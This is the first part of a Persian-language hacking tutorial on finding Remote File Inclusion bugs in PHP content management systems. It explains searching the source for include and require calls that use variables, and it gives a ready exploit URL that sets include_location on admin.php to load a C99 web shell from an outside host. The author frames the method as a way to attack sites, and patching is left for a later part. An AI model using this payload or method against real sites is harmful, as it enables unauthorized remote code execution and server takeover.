به نام خدا و با سلام به دوستان گرامی "
در این مقاله در 2 بخش ارایه می شود قرار است تا شما را با نحوه ای پیدا کردن باگ های RFI(Rimote File Inclusion) یک جز آسیب پذیری های ساختار وب(Webapps) می باشد که برای پیدا کردن آن باید CMS آن پرتال را داشته باشید در این آموزش نحوه ای پیدا کردن باگ ، نحوه ای نوشتن اکسپلویت و در آخر نحوه ای Patch کردن را به شما آموزش می دم .(البته ما کوچیکتر از این حرفا هستیم که این آموزش ها رو یاد بدیم .
CMS : نمی دونم که براتون چه جوری توضیح بدم تو وبلاگ مثل قالبشه اگه داشته باشید مثل اینکه کل سایت هدف رو دارید ولی پسوردشو ندارید . (از ای بهتر نمی دونم چه جوری بگم که تو 2 خط بفهمید)
بریم سر اینکه چه چیز های رو احتیاج دارید:
1.ابتدا بایدCMS سایتی رو که می خواهید به اون حمله کنید رو باید دانلود کنید .
2.برنامه که بتونه فایل های PHP رو باز (notepad++ & Webuilder) کافی فقط کافی یه یه Searchتو google بزنید اگه پیدا نکردید من در خدمتم .
3.برنامه ای که بتونه تو سیستم ما یک سرور مجازی یا LocalHost ایجاد کنه تا بتونیم cms رو در اون نصب کنیم و به کار خودمون برسیم من برنامه های easyphp & NetServer رو به شما پیشنهاد می کنم . برنامه Netserver خیلی کاملتر هستش برای تمرین hacking در localhost بهترین برنامه است امکانتشو می گم ها .
بریم سر اصل مطلب :
بعد از تهیه کردن cms مورد نظر و نصب آن در Localhost خودمون کارمون شروع می شه البته باید توجه داشته باشید که در هنگام نصب cms باید cms سایت رو برای Localhost تعریف کنید در غیر اینصورت تا الان امتحان نکردم چی میشه .
حالا از کجا باید شروع کنیم بعد از نصب cms به پوشه مربوطه (www) می رویم و با برنامه notepad++ آن را باز می کنیم و به دنبال مقدارهای زیر می گردیم :
Include
Include_once
Require
Require_once
این مقدار ها یا بهتر بگم دستورها برای فراخوانی صفحات در PHP می باشد که اگر برای فراخوانی شرط تعیین نشود می تونه به کار ما کمک کنه که ما به جای فراخوانی آن صفحه صفحه phpshellخودمون رو فراخوانی کنیم .
به همین راحتی می تونیم از سرور یا سایت مورد نظر شل بگیریم (که اصطلاحا به این نوع فراخوانی شل صدازدن شل می گویند)
توجه:
باید توجه داشته باشید که تمامی متغییر ها در PHP با علامت "$" است و اگر در 4 دستور بالا مقدار بدونه "$" مشخص شده باشد این دستور به درد ما نمی خوره مثلا یک کثال ساده در CMS مامبو فارسی که باگش Patch شده ولی من برای قشنگی براتون دوباره نوشتم .
Define ( 'IN_PHPATM' , true) ;
$include_location = dirname ($HTTP_SERVER_VARS[ 'SCRIPT_FILENAME' ] ) . "/";
Include ($include_location.'include/conf.php') ;
Include ($include_location.'include/common.'$phpExt) ;
همین طور که می بینید مقدار با علامت "$" مقدار ها (4 دستور گفته شده) آمده است و لین فایل که فایل admin.php بوده پس آسیب پذیری در فایل admin.php می باشد.
http://www.sitename.com/filename.php?varible=http://shellcode
که در اینجا sitename نام سایت مورد نظر است .
کلمه ای .com دامنه سایت می باشد که به هر صورتس ممکن است باشد .
کلمه ای filename.php همان فایل آسیب پذیر است که در این مثال admin.php بوده است .
کلمه ای variable هم include_location بوده که متغییر "$" هم در اولش قرار داره که باعث تغییر مسیر در هنگام صدا زدن شلر به کار می رود .
کلمه ای shellcode هم که همان شلرمون هستش که بعدن یه مقاله کامل و آموزش C99 ور براتون می زارم .
مثال اکسپلویت برای مثالی که در بالا زدیم .(با این فرض که اسم سایتsiroos-alizadeh.ir هستش)
http://www.siroos-alizadeh.ir/admin.php?include_location=http://azhidahaka.by.ru/c99.php?
خوب این از اینکه چه جوری باگ RFI رو پیدا کنیم .
در بخش دوم این مقاله شما رو با نحوه ای patch کردن و نحوهای ثبت کردن این نوع باگها در سایت Milw0rm رو خواهم گفت .
.:!موفق باشید!:.